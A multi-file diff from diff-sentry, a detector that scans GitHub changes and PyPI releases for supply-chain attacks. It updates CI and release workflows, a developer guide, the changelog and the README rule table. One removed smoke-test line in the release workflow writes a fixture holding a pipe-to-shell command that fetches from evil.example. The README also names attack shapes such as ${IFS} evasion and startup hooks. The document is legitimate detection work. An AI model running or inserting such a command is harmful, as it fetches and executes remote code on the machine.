# DS_RELEASE_INTERVAL=300 # release-watch: seconds between polls of each project's index
|
|
81
|
+
# DS_RELEASE_MAX_ARTIFACT_MB=256 # release-watch: a larger wheel or sdist is not compared, which alerts
|
|
@@ -1,17 +1,12 @@
|
|
|
1
1
|
name: CI
|
|
2
2
|
|
|
3
|
-
# Offline suite only: no live LLM, no network calls in tests, no Deno sandbox: dspy-bearing paths use
|
|
4
|
-
# DummyLM / rlm-harness's ScriptedInterpreter, transports are injected fakes, and the corpus pins the
|
|
5
|
-
# indicator suite's hit/miss behavior (see AGENTS.md "Verify"). `uv sync` resolves rlm-harness from PyPI
|
|
6
|
-
# at the exact version pinned in pyproject.toml / uv.lock.
|
|
3
|
+
# Offline suite only: no live LLM, no network calls in tests, no Deno sandbox: dspy-bearing paths use DummyLM / rlm-harness's ScriptedInterpreter, transports are injected fakes, and the corpus pins the indicator suite's hit/miss behavior (see AGENTS.md "Verify"). `uv sync` resolves rlm-harness from PyPI at the exact version pinned in pyproject.toml / uv.lock.
|
|
7
4
|
on:
|
|
8
5
|
push:
|
|
9
6
|
branches: [main]
|
|
10
7
|
pull_request:
|
|
11
8
|
|
|
12
|
-
# Least privilege: this workflow only checks out code and runs tests/lint; it never writes. Specifying
|
|
13
|
-
# `permissions:` also drops every unlisted scope to `none`, so a compromised dep/action on an untrusted
|
|
14
|
-
# fork PR can't use the token to push, tag, or open issues.
|
|
9
|
+
# Least privilege: this workflow only checks out code and runs tests/lint; it never writes. Specifying `permissions:` also drops every unlisted scope to `none`, so a compromised dep/action on an untrusted fork PR can't use the token to push, tag, or open issues.
|
|
15
10
|
permissions:
|
|
16
11
|
contents: read
|
|
17
12
|
|
|
@@ -32,9 +27,7 @@ jobs:
|
|
|
32
27
|
- uses: actions/checkout@v7
|
|
33
28
|
|
|
34
29
|
- name: Install uv
|
|
35
|
-
# Third-party action pinned to a commit SHA for supply-chain integrity (a moving major tag
|
|
36
|
-
# could be repointed at malicious code that runs with this workflow's token). GitHub-owned
|
|
37
|
-
# actions (checkout) stay on a major tag. Bump the SHA and the trailing version comment together.
|
|
30
|
+
# Third-party action pinned to a commit SHA for supply-chain integrity (a moving major tag could be repointed at malicious code that runs with this workflow's token). GitHub-owned actions (checkout) stay on a major tag. Bump the SHA and the trailing version comment together.
|
|
38
31
|
uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
|
|
39
32
|
with:
|
|
40
33
|
enable-cache: true
|
|
@@ -50,27 +43,18 @@ jobs:
|
|
|
50
43
|
- name: Studio console tests
|
|
51
44
|
run: uv run --python ${{ matrix.python-version }} python -m pytest studio/tests
|
|
52
45
|
|
|
53
|
-
# The eval workspace member (diff-sentry-eval) has its OWN offline suite: the reward-free ATLAS
|
|
54
|
-
# scorecard, stub judge, synthetic traces, no creds.
|
|
46
|
+
# The eval workspace member (diff-sentry-eval) has its OWN offline suite: the reward-free ATLAS scorecard, stub judge, synthetic traces, no creds.
|
|
55
47
|
- name: Eval scorecard tests
|
|
56
48
|
run: uv run --package diff-sentry-eval --python ${{ matrix.python-version }} python -m pytest eval/tests
|
|
57
49
|
|
|
58
|
-
# The studio frontend's pure/factory cores (run-core, replay-core, trajectory) carry assert-based
|
|
59
|
-
# node tests; the ubuntu runner ships node, so gate them here too.
|
|
50
|
+
# The studio frontend's pure/factory cores (run-core, replay-core, trajectory) carry assert-based node tests; the ubuntu runner ships node, so gate them here too.
|
|
60
51
|
- name: Frontend core unit tests (node)
|
|
61
52
|
run: |
|
|
62
53
|
for f in studio/tests/*.test.js; do echo "▸ $f"; node "$f"; done
|
|
63
54
|
|
|
64
|
-
# Dogfood: this repo's own CI runs the ACTION this repo publishes (`uses: ./`), not a copy of it.
|
|
65
|
-
# So every PR here is also an integration test of the thing users install: a drifted action.yml
|
|
66
|
-
# fails our own build before it reaches anyone's Marketplace install.
|
|
55
|
+
# Dogfood: this repo's own CI runs the ACTION this repo publishes (`uses: ./`), not a copy of it. So every PR here is also an integration test of the thing users install: a drifted action.yml fails our own build before it reaches anyone's Marketplace install.
|
|
67
56
|
#
|
|
68
|
-
# DELIBERATELY the deterministic scan and not the full `classify` pipeline. `classify` needs DS_*
|
|
69
|
-
# model creds, and the only mechanism that hands creds to a fork PR's run is `pull_request_target`,
|
|
70
|
-
# precisely the misconfiguration that opened the AsyncAPI "Miasma" compromise. The scan needs no
|
|
71
|
-
# creds, no network and no Deno, so it runs under this workflow's read-only `contents: read` token.
|
|
72
|
-
# NO fork guard here, also deliberately: the job is read-only with no side effects outside its own
|
|
73
|
-
# repo, so a fork running it is correct and useful.
|
|
57
|
+
# DELIBERATELY the deterministic scan and not the full `classify` pipeline. `classify` needs DS_* model creds, and the only mechanism that hands creds to a fork PR's run is `pull_request_target`, precisely the misconfiguration that opened the AsyncAPI "Miasma" compromise. The scan needs no creds, no network and no Deno, so it runs under this workflow's read-only `contents: read` token. NO fork guard here, also deliberately: the job is read-only with no side effects outside its own repo, so a fork running it is correct and useful.
|
|
74
58
|
self-scan:
|
|
75
59
|
name: self-scan (dogfood)
|
|
76
60
|
runs-on: ubuntu-latest
|
|
@@ -81,16 +65,9 @@ jobs:
|
|
|
81
65
|
|
|
82
66
|
- uses: ./
|
|
83
67
|
with:
|
|
84
|
-
# Scan this PR with the rules IN this PR, not the ones already on main. Without it the
|
|
85
|
-
# dogfood would grade a rule change against the previous rule set and always pass.
|
|
68
|
+
# Scan this PR with the rules IN this PR, not the ones already on main. Without it the dogfood would grade a rule change against the previous rule set and always pass.
|
|
86
69
|
version: local
|
|
87
|
-
# This is a DETECTOR repo, so some files carry attack patterns as their JOB: the rule bodies,
|
|
88
|
-
# the planner prompt, the attack skills, the fixtures, the eval taskset, and the docs that
|
|
89
|
-
# tabulate all of the above. Scanning those against our own rules is a guaranteed self-hit
|
|
90
|
-
# (the pipe-to-shell example inside detect.INSTRUCTIONS and the field-separator token quoted
|
|
91
|
-
# in README's rule table both fire), so they are reported without gating while the machinery
|
|
92
|
-
# and the build/CI/dependency surface stay enforced. This file is in the GATED half:
|
|
93
|
-
# describe a payload shape here, never quote one.
|
|
70
|
+
# This is a DETECTOR repo, so some files carry attack patterns as their JOB: the rule bodies, the planner prompt, the attack skills, the fixtures, the eval taskset, and the docs that tabulate all of the above. Scanning those against our own rules is a guaranteed self-hit (the pipe-to-shell example inside detect.INSTRUCTIONS and the field-separator token quoted in README's rule table both fire), so they are reported without gating while the machinery and the build/CI/dependency surface stay enforced. This file is in the GATED half: describe a payload shape here, never quote one.
|
|
94
71
|
report-only-paths: |
|
|
95
72
|
diff_sentry/indicators.py
|
|
96
73
|
diff_sentry/detect.py
|
|
@@ -102,10 +79,7 @@ jobs:
|
|
|
102
79
|
eval/diff_sentry_eval/taskset.py
|
|
103
80
|
*.md
|
|
104
81
|
|
|
105
|
-
# The self-scan job above runs with `version: local` on purpose, so it scans a PR with the rules IN
|
|
106
|
-
# that PR. That leaves the path a CONSUMER actually takes -- `uvx diff-sentry==<released>` from PyPI --
|
|
107
|
-
# covered by nothing: a quoting or resolution bug there would break every install while our own CI
|
|
108
|
-
# stayed green. This job exercises exactly that line against a known-malicious fixture.
|
|
82
|
+
# The self-scan job above runs with `version: local` on purpose, so it scans a PR with the rules IN that PR. That leaves the path a CONSUMER actually takes -- `uvx diff-sentry==<released>` from PyPI -- covered by nothing: a quoting or resolution bug there would break every install while our own CI stayed green. This job exercises exactly that line against a known-malicious fixture.
|
|
109
83
|
consumer-install:
|
|
110
84
|
name: consumer install path (PyPI)
|
|
111
85
|
runs-on: ubuntu-latest
|
|
@@ -121,11 +95,8 @@ jobs:
|
|
|
121
95
|
ver=$(uv run --no-project --with pyyaml python -c \
|
|
122
96
|
"import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])")
|
|
123
97
|
echo "action.yml default version: $ver"
|
|
124
|
-
# The fixture lives under tests/ (a report-only path) rather than inline here: this file is in
|
|
125
|
-
# the
|
|
126
|
-
# FIRST prove the install. `scan` exits 1 when it flags, and uvx ALSO exits 1 when it cannot
|
|
127
|
-
# resolve `diff-sentry==${ver}` -- so the negative check below cannot tell "flagged" from "never
|
|
128
|
-
# installed" (e.g. a release commit whose version is not on PyPI yet).
|
|
98
|
+
# The fixture lives under tests/ (a report-only path) rather than inline here: this file is in the GATED half, so a payload written into it fails our own scan.
|
|
99
|
+
# FIRST prove the install. `scan` exits 1 when it flags, and uvx ALSO exits 1 when it cannot resolve `diff-sentry==${ver}` -- so the negative check below cannot tell "flagged" from "never installed" (e.g. a release commit whose version is not on PyPI yet).
|
|
129
100
|
got=$(uvx "diff-sentry==${ver}" --version)
|
|
130
101
|
echo "installed: $got"
|
|
131
102
|
case "$got" in *" ${ver}") ;; *) echo "::error::expected version ${ver}, got '$got'"; exit 1;; esac
|
|
@@ -145,8 +116,5 @@ jobs:
|
|
|
145
116
|
with:
|
|
146
117
|
enable-cache: true
|
|
147
118
|
- name: Lint
|
|
148
|
-
# PINNED on purpose. `uvx ruff` resolves the latest release at run time, and ruff's DEFAULT
|
|
149
|
-
# rule set is not a stable contract (0.16 widened it well past the pycodestyle/pyflakes
|
|
150
|
-
# baseline), so an unpinned run can turn this job red with no code change. Bump it
|
|
151
|
-
# deliberately, with the resulting fixes in the same commit.
|
|
119
|
+
# PINNED on purpose. `uvx ruff` resolves the latest release at run time, and ruff's DEFAULT rule set is not a stable contract (0.16 widened it well past the pycodestyle/pyflakes baseline), so an unpinned run can turn this job red with no code change. Bump it deliberately, with the resulting fixes in the same commit.
|
|
152
120
|
run: uvx ruff@0.16.0 check .
|
|
@@ -1,19 +1,13 @@
|
|
|
1
1
|
name: Release
|
|
2
2
|
|
|
3
|
-
# Publish to PyPI via Trusted Publishing (OIDC), with NO API token. INERT until a GitHub Release is
|
|
4
|
-
# published, and needs one-time setup before the first release:
|
|
3
|
+
# Publish to PyPI via Trusted Publishing (OIDC), with NO API token. INERT until a GitHub Release is published, and needs one-time setup before the first release:
|
|
5
4
|
# 1. On PyPI, add a Trusted Publisher for project `diff-sentry`:
|
|
6
5
|
# owner = qazbnm456, repo = diff-sentry, workflow = release.yml, environment = pypi
|
|
7
6
|
# 2. In this repo's settings, create an environment named `pypi`.
|
|
8
7
|
#
|
|
9
|
-
# A release here is DUAL-PURPOSE. The same "Draft a release" flow that triggers this workflow is also
|
|
10
|
-
# where "Publish this Action to the GitHub Marketplace" is ticked, and the tag it creates is what
|
|
11
|
-
# consumers pin in `uses: qazbnm456/diff-sentry@vX`. So cutting a release ships the package AND the
|
|
12
|
-
# Action; keep the README's quickstart ref in step with the tag you publish.
|
|
8
|
+
# A release here is DUAL-PURPOSE. The same "Draft a release" flow that triggers this workflow is also where "Publish this Action to the GitHub Marketplace" is ticked, and the tag it creates is what consumers pin in `uses: qazbnm456/diff-sentry@vX`. So cutting a release ships the package AND the Action; keep the README's quickstart ref in step with the tag you publish.
|
|
13
9
|
#
|
|
14
|
-
# Supply-chain: the two third-party actions are SHA-pinned: setup-uv, and (highest blast radius, it
|
|
15
|
-
# uploads to PyPI) pypi-publish. Bump a SHA and its trailing version comment together. GitHub-owned
|
|
16
|
-
# checkout/*-artifact stay on major tags.
|
|
10
|
+
# Supply-chain: the two third-party actions are SHA-pinned: setup-uv, and (highest blast radius, it uploads to PyPI) pypi-publish. Bump a SHA and its trailing version comment together. GitHub-owned checkout/*-artifact stay on major tags.
|
|
17
11
|
|
|
18
12
|
on:
|
|
19
13
|
release:
|
|
@@ -34,17 +28,9 @@ jobs:
|
|
|
34
28
|
- name: Build sdist + wheel
|
|
35
29
|
run: uv build
|
|
36
30
|
|
|
37
|
-
# Verify the ARTIFACT, not the checkout: a wheel can build cleanly and still be unusable. Without
|
|
38
|
-
# a `[project.scripts]` entry point, for example, `uvx diff-sentry` (the exact command the GitHub
|
|
39
|
-
# Action runs) cannot work, and nothing in the source tree says so. Installing the built wheel into
|
|
40
|
-
# a clean environment and running it is what catches that.
|
|
31
|
+
# Verify the ARTIFACT, not the checkout: a wheel can build cleanly and still be unusable. Without a `[project.scripts]` entry point, for example, `uvx diff-sentry` (the exact command the GitHub Action runs) cannot work, and nothing in the source tree says so. Installing the built wheel into a clean environment and running it is what catches that.
|
|
41
32
|
#
|
|
42
|
-
# It also settles the version question against the thing being uploaded rather than against a
|
|
43
|
-
# regex over the source. Three identities have to agree: the git tag people pin, the version
|
|
44
|
-
# baked into the wheel's filename, and what a running install reports as `__version__`. A
|
|
45
|
-
# mismatch ships an artifact labelled differently from the ref it was cut from, PyPI accepts that
|
|
46
|
-
# silently, and the upload is irreversible. The tag arrives via `env:`, never interpolated into
|
|
47
|
-
# the script body.
|
|
33
|
+
# It also settles the version question against the thing being uploaded rather than against a regex over the source. Three identities have to agree: the git tag people pin, the version baked into the wheel's filename, and what a running install reports as `__version__`. A mismatch ships an artifact labelled differently from the ref it was cut from, PyPI accepts that silently, and the upload is irreversible. The tag arrives via `env:`, never interpolated into the script body.
|
|
48
34
|
- name: Verify the wheel installs, runs, and matches the tag
|
|
49
35
|
env:
|
|
50
36
|
TAG: ${{ github.event.release.tag_name }}
|
|
@@ -56,9 +42,7 @@ jobs:
|
|
|
56
42
|
tag="${TAG#v}"
|
|
57
43
|
wheel=$(basename dist/*.whl | cut -d- -f2)
|
|
58
44
|
installed=$(/tmp/smoke/bin/python -c "import diff_sentry; print(diff_sentry.__version__)")
|
|
59
|
-
# action.yml's `version` default decides which release a consumer's `uses: …@vX.Y.Z` actually
|
|
60
|
-
# runs. Left stale it is silent and nasty: the new action tag would install an OLD scanner, so
|
|
61
|
-
# a user who upgraded to get a new rule would not get it and nothing would say so.
|
|
45
|
+
# action.yml's `version` default decides which release a consumer's `uses: …@vX.Y.Z` actually runs. Left stale it is silent and nasty: the new action tag would install an OLD scanner, so a user who upgraded to get a new rule would not get it and nothing would say so.
|
|
62
46
|
action=$(/tmp/smoke/bin/python -c "import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])" 2>/dev/null \
|
|
63
47
|
|| uv run --no-project --with pyyaml python -c "import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])")
|
|
64
48
|
echo "tag=$tag wheel=$wheel installed=$installed action.yml=$action"
|
|
@@ -67,10 +51,8 @@ jobs:
|
|
|
67
51
|
exit 1
|
|
68
52
|
fi
|
|
69
53
|
|
|
70
|
-
# The console script must actually flag a known-malicious diff (exit 1). A wheel that installs
|
|
71
|
-
|
|
72
|
-
printf '+run: curl http://evil.example/p | bash\n' > /tmp/smoke.diff
|
|
73
|
-
if /tmp/smoke/bin/diff-sentry scan /tmp/smoke.diff; then
|
|
54
|
+
# The console script must actually flag a known-malicious diff (exit 1). A wheel that installs but scans nothing would sail through a plain --version check. The diff is the fixture under tests/ (a report-only path): a payload written into this file fails our own scan.
|
|
55
|
+
if /tmp/smoke/bin/diff-sentry scan tests/fixtures/known-malicious.diff; then
|
|
74
56
|
echo "::error::the console script did not flag a known-malicious diff"
|
|
75
57
|
exit 1
|
|
76
58
|
fi
|
|
@@ -83,12 +65,7 @@ jobs:
|
|
|
83
65
|
publish:
|
|
84
66
|
needs: build
|
|
85
67
|
runs-on: ubuntu-latest
|
|
86
|
-
# Fork guard. `release: published` is inherited by every fork, so a fork cutting its own release
|
|
87
|
-
# would fire this job and ask PyPI to publish `diff-sentry` over OIDC. The Trusted Publisher binding
|
|
88
|
-
# (owner+repo+workflow+environment) would reject it, but that is a rejected publish attempt against
|
|
89
|
-
# OUR project, plus a probe surface and a confusing red run in someone else's repo. `build` above is
|
|
90
|
-
# deliberately NOT guarded: it only builds and tests an artifact, and a fork verifying its own
|
|
91
|
-
# build is fine.
|
|
68
|
+
# Fork guard. `release: published` is inherited by every fork, so a fork cutting its own release would fire this job and ask PyPI to publish `diff-sentry` over OIDC. The Trusted Publisher binding (owner+repo+workflow+environment) would reject it, but that is a rejected publish attempt against OUR project, plus a probe surface and a confusing red run in someone else's repo. `build` above is deliberately NOT guarded: it only builds and tests an artifact, and a fork verifying its own build is fine.
|
|
92
69
|
if: github.repository == 'qazbnm456/diff-sentry'
|
|
93
70
|
environment: pypi
|
|
94
71
|
permissions:
|
|
@@ -16,7 +16,7 @@ rlm-harness is an exact PyPI pin (`rlm-harness==X.Y.Z` in `pyproject.toml`, lock
|
|
|
16
16
|
|
|
17
17
|
- Run via `cli` (`pr` / `issue` / `classify`), never an ad-hoc script. `cli.run(event, …)` is the programmatic entry: it records `<out>/traces/{run_id}.jsonl` (dropping a stale one first, since TraceRecorder appends), writes `<out>/responses/{run_id}.json`, and emits the SIEM signal host-side after the run. It never raises: a crash still writes a `status=failed` response that can signal off the evidence floor. Extend `cli.py` rather than driving `detect_from_event` / `build_response` directly.
|
|
18
18
|
- Offline: `python -m diff_sentry render <trace> <run_id>` re-renders a response; `python -m diff_sentry export "output/traces/*.jsonl" ds.json` exports the reward-free dataset; `actor <login>` prints an account's dossier and `archive verify` re-hashes the snapshot archive.
|
|
19
|
-
- Continuous collection goes through `watch`, which
|
|
19
|
+
- Continuous collection goes through `watch` and `release-watch`, which call `cli.run` (model) or `cli.screen` (deterministic, no creds) and never `detect_from_event` directly. `--screen-only` needs no model roles.
|
|
20
20
|
|
|
21
21
|
## Hard invariants: do not break
|
|
22
22
|
|
|
@@ -31,10 +31,10 @@ rlm-harness is an exact PyPI pin (`rlm-harness==X.Y.Z` in `pyproject.toml`, lock
|
|
|
31
31
|
- **The budget is hard: `max_retries=1`, no whole-RLM retry inside a run.** One change = one trajectory, so the trace stays valid training data. (`watch` may run a change again, but only when the previous attempt produced no result at all, an infrastructure failure; `cli.run` resets that run id's trace first, so exactly one trajectory per run id survives.) A failed run is infra before it is a schema bug; see `.claude/rules/detect-setup.md` for how the failure names itself.
|
|
32
32
|
- **A second model-judgement is a TOOL, never the sub-LM.** `deep_classify` (on rlm-harness's `make_model_tool`) is the swappable second-stage seam the planner chooses to call, so the decision is a `tool_call` in the trajectory. The analyst intercept (`intercept_sub_lm`) is tracing-only, zero transforms. Swapping the backend touches only `classify_backend` / `_selfclassify_chat`. The planner passes distilled findings, never the whole diff.
|
|
33
33
|
- **Sandboxed code builds no sub-agents.** In dspy 3.4.1 and later, sandboxed code can construct dspy programs that run on the host, call the analyst, can drive the task's tools, and record as one `sub_call` with no inner turns. The kit's default allows it, so `setup` passes `sandbox_sub_agents=False` explicitly, and production never injects an interpreter (which would bypass it); `test_program_offers_no_sub_agents` holds the behaviour.
|
|
34
|
-
- **GitHub ingest, monitoring, and SIEM emission are host-side plumbing, never planner tools.** `ingest.py` shells out to `gh` host-side (transport injectable); `emit.emit_signal` POSTs and never raises; `watch`, `actors` and `snapshot` poll, remember, and archive outside the trajectory. Only choices the policy makes are tools; delivering a finished result is plumbing. What the store learns reaches the signal only as provenance facts through `scan_provenance`, never as a second derivation (see `.claude/rules/monitoring.md`).
|
|
34
|
+
- **GitHub ingest, monitoring, and SIEM emission are host-side plumbing, never planner tools.** `ingest.py` shells out to `gh` host-side (transport injectable); `emit.emit_signal` POSTs and never raises; `watch`, `actors` and `snapshot` poll, remember, and archive outside the trajectory, and `releases` reads PyPI's own hosts only, as data that is never installed. Only choices the policy makes are tools; delivering a finished result is plumbing. What the store learns reaches the signal only as provenance facts through `scan_provenance`, never as a second derivation (see `.claude/rules/monitoring.md`).
|
|
35
35
|
- **This is a ROLLOUT source: trajectories, not reward.** `rl_export` passes `reward=None`; labels read the assembled verdict and metrics are objective effort counters. `deep_classify` tool_calls train the classifier; every other action is the planner's. A metric keeps ONE meaning across rlm-harness versions (the corpus mixes them; `run_start.payload.rlm_harness` names the writer): a quantity a newer kit makes observable gets a NEW key that is None where the trace cannot say (e.g. `analyst_failures`). The ATLAS rubric and the eval member stay reward-free too; see `.claude/rules/rubric-and-eval.md`.
|
|
36
36
|
- **Attack knowledge lives in `diff_sentry/skills/`, not the prompt.** The skill catalog is injected (`load_skills_as_tools(discovery="inject")`) and `read_skill(name)` pulls a body on demand. Fix a wrong convention by editing or adding a skill; `detect.INSTRUCTIONS` holds only identity, the MISSION frame, the tool cost model, the triage loop, and output-gating rules. Skills ship via `packages = ["diff_sentry"]`; a force-include duplicates them and breaks the build.
|
|
37
|
-
- **Keep the dspy-free modules dspy-free.** `config`, `schema`, `normalize`, `indicators`, `shelllex`, `linewide`, `assemble`, `response`, `emit`, `ingest`, `hosts`, `dbutil`, `actors`, `snapshot`, `watch`, `rl_export`, and `rubric` must not import dspy at module top, and `import diff_sentry` must not import dspy (`ClassifyChange` / `setup` / `run` / `screen` / `detect_from_event` are lazy PEP 562 re-exports).
|
|
37
|
+
- **Keep the dspy-free modules dspy-free.** `config`, `schema`, `normalize`, `indicators`, `shelllex`, `linewide`, `assemble`, `response`, `emit`, `ingest`, `hosts`, `dbutil`, `actors`, `snapshot`, `watch`, `releases`, `rl_export`, and `rubric` must not import dspy at module top, and `import diff_sentry` must not import dspy (`ClassifyChange` / `setup` / `run` / `screen` / `detect_from_event` are lazy PEP 562 re-exports).
|
|
38
38
|
- **The trace self-describes the run.** `run_start` meta carries the normalized event, instructions, source echo, `baseline_indicators`, `emit_on`, role→model names, budgets, and the rubric skeleton, so an offline re-render/export re-derives the same `signal` (reading `emit_on` from meta, never current config). Any new per-run config that affects read-time derivation must ride in meta.
|
|
39
39
|
|
|
40
40
|
## Topic guides
|
|
@@ -54,5 +54,5 @@ Claude Code loads each rule automatically when you touch a matching file; other
|
|
|
54
54
|
|
|
55
55
|
- rlm-harness owns the generic cores: `make_model_tool` (chat → retry → validate → circuit-break) under `deep_classify`, and the SSRF primitives (`is_safe_url`, `resolved_host_is_safe`, `parse_cidrs`) under `fetch_tool`, which adds the GitHub allowlist, the httpx provider, and tracing.
|
|
56
56
|
- When this consumer needs a workaround, fix the reusable gap in rlm-harness generically; never special-case diff-sentry there. Consumer values (`DS_*` roles, the verdict schema, indicator rules, the SIEM payload shape) stay here.
|
|
57
|
-
- The deterministic tier ships as `cli.screen` and `watch` (host-side, in front of `cli.run`). Next increments: an optional small single-shot model call inside that tier; a GH Archive backfill for account history older than the Events API's 30 days; per-repository workflow awareness (which repos run `issue_comment` or `pull_request_target` workflows) to weight the slash-command rule.
|
|
57
|
+
- The deterministic tier ships as `cli.screen`, `watch` and `release-watch` (host-side, in front of `cli.run`). Next increments: comparing a release's sdist with its git tag, and npm releases beside PyPI's; an optional small single-shot model call inside that tier; a GH Archive backfill for account history older than the Events API's 30 days; per-repository workflow awareness (which repos run `issue_comment` or `pull_request_target` workflows) to weight the slash-command rule.
|
|
58
58
|
- Two workspace members, never in the `diff_sentry` wheel: `studio/` (`diff-sentry-studio`, the detection console, behind its `live` extra) and `eval/` (`diff-sentry-eval`, the reward-free scorecard). Both read the trace / `DetectionResponse` contract through the public surface only. Keep the root wheel at `packages = ["diff_sentry"]` so `uv build` never sweeps them in.
|
|
@@ -2,6 +2,33 @@
|
|
|
2
2
|
|
|
3
3
|
All notable changes to diff-sentry, a BewAIre-style detector that classifies one GitHub change (PR, issue or push) for malicious intent on [`rlm-harness`](https://github.com/qazbnm456/rlm-harness).
|
|
4
4
|
|
|
5
|
+
## 0.10.0
|
|
6
|
+
|
|
7
|
+
Upgrade from 0.9.0: the GitHub Action now flags a GitHub owner that imitates your repository's own, so a workflow change it passed before can fail it now, and `release-watch` compares who published each release. Nothing needs configuring: the Action reads the repository from `GITHUB_REPOSITORY`. `rlm-harness==1.22.0` is unchanged.
|
|
8
|
+
|
|
9
|
+
### Added
|
|
10
|
+
- **`lookalike-owner` flags a GitHub owner that imitates the repository's own**, such as the `Berri-AI/litellm` that litellm's release workflow was pointed at to build 1.107.0 (the project is `BerriAI`). An owner that equals yours once hyphens are dropped is `critical` in a workflow and `high` in a URL, an action, a clone or a `--repo` elsewhere; one a single character away is `medium`, since real sibling organisations sit that close. A workflow that checks out another owner's repository is `foreign-checkout`, `medium`.
|
|
11
|
+
- **`diff-sentry scan --repo owner/name`** names the repository a diff is of; it defaults to `GITHUB_REPOSITORY`.
|
|
12
|
+
- **`release-watch` alerts when a release's Trusted Publisher changes**: a repository, workflow, environment or account that the previous release's PyPI attestations did not name is `high`, and `critical` when the repository's owner imitates the previous one's. It needs the previous release to be attested, and it names the repository whose workflow uploaded, not the one it built from.
|
|
13
|
+
|
|
14
|
+
### Changed
|
|
15
|
+
- **`release-watch` keeps the rules that only see a code-owners file, a workflow file or a CI skip mentioned below the alert floor**, as it already did for prompt injection: a package governs no repository, and a comment mentions them as readily as code. A workflow's dangerous content keeps its severity in every file of a package.
|
|
16
|
+
|
|
17
|
+
### Fixed
|
|
18
|
+
- **`release-watch` alerts when a release has no attestations after a release that had some**, including one whose sdist was uploaded by hand beside attested wheels.
|
|
19
|
+
- **`release-watch --check` exits non-zero when the comparison fails.**
|
|
20
|
+
|
|
21
|
+
## 0.9.0
|
|
22
|
+
|
|
23
|
+
Upgrade from 0.8.0: a new `release-watch` command, and one rule that fires less on Rust code. The GitHub Action's scan is otherwise unchanged, nothing needs configuring, and `rlm-harness==1.22.0` is unchanged. `packaging` is a new dependency.
|
|
24
|
+
|
|
25
|
+
### Added
|
|
26
|
+
- **`diff-sentry release-watch` watches PyPI releases.** A compromised release need not pass through a pull request: litellm 1.107.0 was built from an attacker's repository, and its wheels held a `.pth` startup hook and a packed stealer the previous release did not. `release-watch` polls the packages you name, compares every new file with the release before it, and screens what changed with the same rules as a pull request, alerting the SIEM and archiving the comparison. Artifacts are read as data and never installed. See [Watching releases](docs/release-watch.md).
|
|
27
|
+
- **Anything it cannot read in a release alerts on its own**: a changed file that runs but could not be read as text (compiled bytecode, a new native module, a file too large to read), two files that install to the same path, and a download that fails or does not match its checksum. So does a release without the attestations the previous one had.
|
|
28
|
+
|
|
29
|
+
### Fixed
|
|
30
|
+
- **`data-exfiltration` no longer reads a Rust closure named `env`** (`|env| self.getenv(env)`) as a shell dumping its environment into a pipe.
|
|
31
|
+
|
|
5
32
|
## 0.8.0
|
|
6
33
|
|
|
7
34
|
Upgrade from 0.7.1: the GitHub Action now runs the file-structure rules and catches Python loaders, so a pull request it passed before can fail it now (see **Added** and **Fixed**). Nothing needs configuring, and `rlm-harness==1.22.0` is unchanged.
|
|
@@ -15,7 +42,7 @@ Upgrade from 0.7.1: the GitHub Action now runs the file-structure rules and catc
|
|
|
15
42
|
- **A packed payload is inflated before it is read**: a base64 blob holding a zlib or gzip stream is decompressed, within a size budget, and scanned for a payload.
|
|
16
43
|
|
|
17
44
|
### Fixed
|
|
18
|
-
- **The Action's scan runs the file-structure rules**: a VS Code task that runs on folder open, an npm lifecycle hook or task that runs a file the change adds, a script under an image or font name, obfuscated code in a developer tool's config, and the new startup hooks.
|
|
45
|
+
- **The Action's scan runs the file-structure rules**: a VS Code task that runs on folder open, an npm lifecycle hook or task that runs a file the change adds, a script under an image or font name, obfuscated code in a developer tool's config, and the new startup hooks. Only the model pipeline and `watch` ran them in 0.7.1.
|
|
19
46
|
- **A path git quotes in a diff header** (a byte outside printable ASCII) is read as its file instead of folding into the file before it.
|
|
20
47
|
|
|
21
48
|
## 0.7.1
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.5
|
|
2
2
|
Name: diff-sentry
|
|
3
|
-
Version: 0.
|
|
3
|
+
Version: 0.10.0
|
|
4
4
|
Summary: Catch malicious pull requests before they merge: scan a diff for supply-chain attack patterns with deterministic evidence a model cannot suppress.
|
|
5
5
|
Author: Boik Su
|
|
6
6
|
License-Expression: MIT
|
|
@@ -8,6 +8,7 @@ License-File: LICENSE
|
|
|
8
8
|
Keywords: dspy,malicious-code-detection,prompt-injection,rlm,security,siem,supply-chain-security
|
|
9
9
|
Requires-Python: >=3.11
|
|
10
10
|
Requires-Dist: httpx>=0.27
|
|
11
|
+
Requires-Dist: packaging>=23
|
|
11
12
|
Requires-Dist: pydantic>=2.11.0
|
|
12
13
|
Requires-Dist: rlm-harness==1.22.0
|
|
13
14
|
Provides-Extra: classify
|
|
@@ -42,16 +43,16 @@ jobs:
|
|
|
42
43
|
- uses: actions/checkout@v7
|
|
43
44
|
with:
|
|
44
45
|
fetch-depth: 0 # the scan diffs against the PR base
|
|
45
|
-
- uses: qazbnm456/diff-sentry@v0.
|
|
46
|
+
- uses: qazbnm456/diff-sentry@v0.10.0
|
|
46
47
|
```
|
|
47
48
|
|
|
48
|
-
That is the whole setup. The job fails when an indicator at or above `high` fires.
|
|
49
|
+
That is the whole setup. The job fails when an indicator at or above `high` fires. Add `push` to `on:` to also scan commits pushed straight to a branch. A push that bypasses branch protection can also delete this workflow, so `watch` and `release-watch` read the repository and its releases from outside.
|
|
49
50
|
|
|
50
51
|
## What it catches
|
|
51
52
|
|
|
52
53
|
| Family | Examples |
|
|
53
54
|
|---|---|
|
|
54
|
-
| Workflow configuration | `pull_request_target` that checks out the PR head (the pwn-request that broke AsyncAPI) by `ref:`, by a hand-rolled `git fetch`, or by opting back in with `allow-unsafe-pr-checkout: true`; plus `permissions: write-all` and CODEOWNERS reassignment |
|
|
55
|
+
| Workflow configuration | `pull_request_target` that checks out the PR head (the pwn-request that broke AsyncAPI) by `ref:`, by a hand-rolled `git fetch`, or by opting back in with `allow-unsafe-pr-checkout: true`; a workflow pointed at a lookalike of your own GitHub owner (the litellm release built from `Berri-AI/litellm`); plus `permissions: write-all` and CODEOWNERS reassignment |
|
|
55
56
|
| Obfuscation | base64 that decodes to a shell payload, `_0x…` machine-mangled JavaScript, high-entropy blobs |
|
|
56
57
|
| Execution | pipe-to-shell installs, `${IFS}` space-evasion, detached child processes, inline `node -e`, fetch-to-disk droppers, Python startup hooks (`.pth`, `sitecustomize.py`), packed or downloaded code run with `exec` |
|
|
57
58
|
